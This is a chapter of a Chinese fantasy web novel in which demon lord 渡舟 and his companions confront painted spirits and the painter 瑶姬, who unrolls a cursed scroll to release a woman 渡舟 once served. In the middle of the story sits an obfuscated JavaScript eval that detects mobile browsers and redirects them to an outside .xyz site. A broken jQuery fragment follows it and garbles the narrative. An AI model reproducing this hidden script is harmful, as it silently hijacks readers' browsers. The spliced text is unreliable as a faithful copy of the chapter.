22. 故人归
作品:《亡国君是白月光》 祝鸢注意到这人皮娃娃绘制的无比精妙,可见执笔之人画工了得,但绘制他们的人应当法力低微,因此这些娃娃有形而无神,只会重复几句简简单单地招徕顾客的场面话。
“小妹妹,里面坐啊。”
“公子,里面坐啊。”
“公子,想画什么皮?”
这里灯火昏暗,诺大的房间只有这干巴巴的几句鬼话一直回荡,不禁让人毛骨悚然。
渡舟嫌吵,一抬手,那些人皮娃娃便迅速干瘪下去,原来里面是稻草和精铁搭了个假骨架。
上官说道:“主君,丹青手的房间就在上面。”
“带路。”渡舟想了想,又牵住祝鸢,低头道,“跟紧我,千万不能离开半步,知道吗?”
好奇怪……
祝鸢心里有点儿七上八下的,砰砰跳得很快,就像这里上蹿下跳的烛火。
她想起在九洲城里见过的那些牵着手的男男女女,有的年纪相仿,有的则是爹带闺女,大的牵个小的。
祝鸢想到这里突然梗了一下,她觉得吧,自己应该不至于是主君失散多年的女儿。
走在最前面的上官内心震撼无比,那时在城郊碰见祝鸢,这姑娘勇猛无比跟丹妙都打得有来有回。
同样是下属,主君性别歧视?
但这话上官只敢想,不敢说,他不嫌自己命长。
楼上没有点灯,门窗紧闭,一丝光也透不进来。
上官正伸手摸索着想点个灯,突然摸到一个滑腻冰凉的东西,更可怖的是,那东西竟像蛇一样猛地反握住他的手。
“什么东西装神弄鬼!”
上官抽出折扇反手扇出,三根无比锋利的钢针自扇骨飞出,与此同时他左手一道掌风将门窗封死,掌风带起窗前帷幔飘动。
一汪亮光顷刻间灌进暗室,陡然映出一张惨白的人脸!
上官被这突然出现的人脸吓了一跳,渡舟啧了一声,揽着祝鸢后退半步,挥手点起灯。
“公子脾气好大呀~吓到奴家了。”
一个容貌秀丽的姑娘出现在他们面前,笑意盈盈,长腿柳腰,乃是那种小家碧玉的相貌。
不对,不是人。
祝鸢见方才射出的钢针自她胳膊穿过,那姑娘半边胳膊耷拉着,衣衫也被划破了,却不见流血。且她嘴角一直保持着那诡异的浅笑,眼睛一眨不眨,似乎根本感觉不到痛。
渡舟自然也看出来了,道:“是画中仙。”
画中仙?
渡舟解释道:“画中仙,是以墨汁辅以精血所绘。经由特殊绘制之法,画中人便可像活人一般脱画行走自如,必要时再回到画中安眠。但画中仙就像那些人皮娃娃,就算画得再好也难有灵魂,宛若行尸走肉。这东西并没有什么攻击性,只要把画烧了,画中仙也就不复存在了。”
祝鸢四下张望,指了指墙上一副壁画。
壁画上的女子容貌秀美栩栩如生,更重要的是,跟眼前这位画中仙长得一模一样。
渡舟点点头:“就是这幅画。”
折杞道:“既是画中仙,还敢明目张胆将原画放在这里。”
上官却道:“......这画,好生眼熟。”
上官一提醒,祝鸢也觉得面前的女子眼熟。她仔细想想,恍然大悟,这不就是他们刚进城时阁楼上给一张人皮描眉的女子吗?
“是丹青手!”上官想起来了,那时在楼下遥遥相望,对方又戴着面纱,所以一时间没认出来。
折杞身为城主,自然是见过丹青手的,但不过几面之缘早记不得了,此刻道:“这姑娘确实和那位丹青手长得一样。”
上官道:“唯一的区别,是丹青手看上去妆容艳丽些,打扮也更、更......”
“更露骨些。”那女子娇笑道,“这位公子不光粗鲁,还很害羞呢~”
画中仙修好了胳膊,款步行来,走到渡舟面前停下,微微欠身道:“小女瑶姬,见过妖主大人。”
渡舟挑眉道:“你认得我?”
上官眼皮猛地跳了两下,画中仙瞥了面露惊悚的上官一眼,不予理会,浅笑道:“城主大人身份尊贵,他叫您师父,小女自然不会认错。”
渡舟道:“凤尾花钿是你主子搞的鬼。”
画中仙干脆利落道:“不错。”
折杞道:“丹青手,你在无相城买卖做得好好的,还贪图人间几个魂魄做什么?”
画中仙笑道:“大人法力无穷尽,自然不懂我们小鬼过得辛苦。修行之路何其漫长,若能一劳永逸,岂不快活?”
这个理由说勉强也勉强,说不勉强也不勉强,毕竟无论人鬼,谁不渴望强大。
祝鸢看不出这竟然是个贪心鬼,她上前一步,渡舟恰到好处地将她想问的说出来:“魇鬼跟你在搞什么名堂?”
“大人问丹妙啊,他说要去做件很重要的事情,大人如果现在动身,说不定还能抓到他。晚了,可就不一定了。”
渡舟唇边扯了抹森然的笑:“不巧,那蠢货刚被我抓到,你们可要见见?”
想来原主子显然没料到这件事,因此画中仙牛头不对马嘴地接话道:“我可以告诉你们丹妙在哪儿,各位大人请上坐。”
画中仙像是站酸了脚,转身软若无骨地坐下,拍拍手,四个无比精致的画中仙从墙上的一副仕女图上飘下来,轻盈无比,转身进屋倒了四盏热茶端上来。
“这是我家主子吩咐的,务必好好招待各位大人。”
说罢又拍拍手,那四个画中仙便身形一跃回墙上去了。
这画中仙到底在打什么算盘?
祝鸢猜不透,见渡舟似乎也没有立马抓她的意思,画中仙道:“妖主大人,我家主子想同你做个交易。”
果然别有所图。
渡舟道:“跟我做交易,可未必是件好事。”
画中仙抿唇一笑:“大人,无相城有一法器,名为鬼门关,能记录来往之魂。若有魂魄留恋世间不愿投胎转世,鬼门关便会将其永久封印,小女子说得对吗?”
祝鸢想起入城之时鬼门关上那些扭曲面孔,就是画中仙口中所言不愿投胎转世的恶鬼了。但这跟画中仙所说交易有什么关系?
渡舟道:“你不想转世?”
画中仙赞许道:“大人果然聪明。”
折杞不解道:“鬼门关又没有脚,只要你不出无相城,不经过鬼门关,就算到了转世之日也不会被吞噬。”
对啊,祝鸢终于知道问题出在哪儿了。
鬼门关就算再厉害,也只是一样法器,不能动不能跑,如果不想被法器吃掉,躲远点儿不就好了,何必如此大费周章要跟渡舟做交易?
除非——
瑶姬有不能不出无相城的理由。
画中仙沉默片刻,道:“妖主大人,小女子恳求大人放我一条生路,不再被鬼门关所限。”
看来是了。转世本来是无数鬼魂求之不得的机会,人生重来万千可能,谁人不愿?毕竟很多坏事做尽的恶鬼是没机会转世的,但偏偏有鬼魂不肯要这机会,譬如瑶姬。
折杞道:“鬼门关早就封印在无相城门上千年,世间万物皆有定法,岂能由你三言两语更改?再说不愿入轮回的亡魂皆为厉鬼恶煞,怎能容你流向人间?”
画中仙抬眸,讥诮道:“鬼门关,说破大天不就是一副堕神图吗?再说堕神图本就不是无相城的东西,而是几千年前无相渊鬼王成业炼出的一样法器,名为魂变。魂变展开是一幅堕神图,画的是女鬼旱魃。他将无相渊游离的亡魂尽数封印在堕神图上,随着亡魂越来越多,那幅画也越来越厉害,能脱离画卷食人生魂入画。妖主大人,我说得可对?”
传说旱魃长得凶神恶煞,威力无穷,走到哪里哪里便会连年大旱,寸草不生。
但这幅图上的旱魃却完全不是传说中那样,眉目低垂,宛如神女临世。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442398|184482||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
渡舟道:“那你也应当知道,魂变戾气极重,不可能销毁。”
画中仙无所谓道:“我不知道魂变是如何被妖主大人捡到的,我猜大人毁不掉它,颇费了些心思转换魂变属性,将食人生魂改成记录来往之魂魄,又将其封入无相城城门。但大人当年既然有办法让魂变不再随意食魂,我想,从大人手底下放跑我一个小鬼,也不是什么难事吧?”
瑶姬到底为何如此笃定渡舟一定会帮她?
祝鸢还未想明白,画中仙的身形突然开始变得模糊透明,她面色苍白,嘴唇微张,笑道:“妖主大人,你先别急着回绝,可打开堕神图看看,我家主子为你备了份厚礼。”
话音刚落,画中仙忽然消失不见了,而她留下的最后一句话却还回想在这小小的丹青坊上空——
“大人,记得打开堕神图一观呐~”
折杞道:“瑶姬身形已散,应是画中仙耗尽法力,来不及回到画中了。”
渡舟道:“不,她没想过要回去。”
折杞问道:“师父的意思是,她在故意拖延时间?”
这时有两名鬼差进来在折杞耳边低声说了句话,折杞抬头微笑道:“师父,真正的丹青手抓到了,就在楼下。”
祝鸢跟随渡舟下楼,果然如上官所说,丹青手和方才的画中仙长得一模一样。
若说画中仙是人界的闺中小姐打扮,真正的瑶姬便是鬼界常见的鬼姬面容。上身是缀满银珠叮铃作响的露腰抹胸,下身是条张扬的红色襦裙,艳丽非常。
瑶姬一见渡舟,魅惑一笑:“大人,怎么还不打开堕神图,怕了?你难道不想抓住丹妙?”
折杞皱眉道:“师父,她在激你。”
渡舟道:“耍什么把戏,看看不就知道了。”
说罢,渡舟双目微闭,轻轻转动骨笛,万千妖鬼气息自骨笛飘散而出。
不多时,一卷泛黄的画轴便落进他左手掌心。
无数尖利的鬼声自那卷轴而出,凄厉惨绝不绝于耳,怨气之重,阴气之盛。
渡舟睁开眼睛,这些鬼哭狼嚎之声终于渐渐消散。
祝鸢猜渡舟手中就是堕神图原身,渡舟既能信手取来,想必鬼门关并不会因此受影响。
瑶姬见此图,眼前一亮,眸光透着股狡黠,抚掌叫道:“不愧是妖主大人!”
渡舟看向堕神图,他能感觉到画卷中和平常一样怨灵翻涌嘶吼阵阵。但似乎是有些不一样的,到底是哪里不一样......
瑶姬仍催促不停:“快打开,打开看看。”
祝鸢直觉这东西不能打开,刚想阻止渡舟,瑶姬突然气急败坏道:“磨磨唧唧,真麻烦!既然大人不敢打开,我帮你!”
一阵阴风卷入,丹青坊大门砰地一声合上。
堕神图突然不受控制地滚落在地,卷轴如长河自大殿上倾泻而下,不知是不是错觉,每展开一寸这殿内的温度便低些。
只听万千鬼声低鸣,那是封在其中的厉鬼想要脱画而出,但又被渡舟法力所压不得自由。
渡舟并未急着去捡,泰然道:“打开了,又当如何?”
瑶姬阴笑道:“大人莫急,您瞧。”
堕神图此时已完全展开,只见一红衣女子自画卷最角落翩然而出。
折杞不由惊道:“厉鬼脱画!”
那女子长发及腰,赤着一双雪白的足,腕间挂着一对金铃,手中握着一柄黑色长剑,缓慢转过身来——
这下折杞再也坐不住了,险些从椅子上跌落,惊呼道:“昭姐姐!”
女子美得摄人心魄,宛若谪仙,一双眼黑白分明,如雪水深潭。
眼前人墨发如云,红衣翻飞,偏偏神色清冷毫无鬼气,一时好似仙人堕魔,邪性四溢。
渡舟在那女子脱画而出时已然神色大变,祝鸢从未见过渡舟如此神情。等女子转过身,渡舟仿佛心肝俱裂,颤声叫道——
“殿下!”